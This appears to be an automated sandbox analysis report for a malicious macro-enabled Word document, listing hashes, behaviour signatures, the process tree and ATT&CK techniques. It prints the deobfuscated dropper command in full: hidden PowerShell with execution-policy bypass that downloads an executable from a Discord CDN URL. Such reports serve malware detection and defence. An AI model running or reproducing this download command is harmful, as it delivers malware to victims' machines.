Analysis

  • max time kernel
    146s
  • max time network
    44s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    21-05-2022 04:15

General

  • Target

    Payments.docm

  • Size

    83KB

  • MD5

    27cb67322a39cf49a0560f784df67969

  • SHA1

    0750c70072f37062a1079f14a1e4da0f78a5fdfe

  • SHA256

    37c52ac76731fec0a321cae8cd5cf91597de3c90aed254f28fbcb4764e617e23

  • SHA512

    4260a95093659d0beaf40c63a6bfbee4d63b5ec4a69760130cacef4c441c1ebe591111ed964b0ae3d6b508052bde145a8d6893dc1f2eea624bc7bbdecd5a3968

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://cdn.discordapp.com/attachments/709738084001906749/709738177027637330/Purchase.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payments.docm"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1380
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://cdn.discordapp.com/attachments/709738084001906749/709738177027637330/Purchase.exe',$env:Temp+'\Filename.exe')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1712
  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1100
  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
    1⤵
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    PID:1360

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1100-59-0x000000002F0E1000-0x000000002F0E4000-memory.dmp
    Filesize

    12KB

  • memory/1100-63-0x0000000070C7D000-0x0000000070C88000-memory.dmp
    Filesize

    44KB

  • memory/1100-65-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1360-70-0x0000000070C7D000-0x0000000070C88000-memory.dmp
    Filesize

    44KB

  • memory/1380-54-0x0000000072211000-0x0000000072214000-memory.dmp
    Filesize

    12KB

  • memory/1380-55-0x000000006FC91000-0x000000006FC93000-memory.dmp
    Filesize

    8KB

  • memory/1380-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1380-57-0x0000000070C7D000-0x0000000070C88000-memory.dmp
    Filesize

    44KB

  • memory/1380-58-0x0000000075871000-0x0000000075873000-memory.dmp
    Filesize

    8KB

  • memory/1712-64-0x0000000000000000-mapping.dmp
  • memory/1712-71-0x000000006A5D0000-0x000000006AB7B000-memory.dmp
    Filesize

    5.7MB

  • memory/1712-72-0x0000000004B20000-0x0000000004C24000-memory.dmp
    Filesize

    1.0MB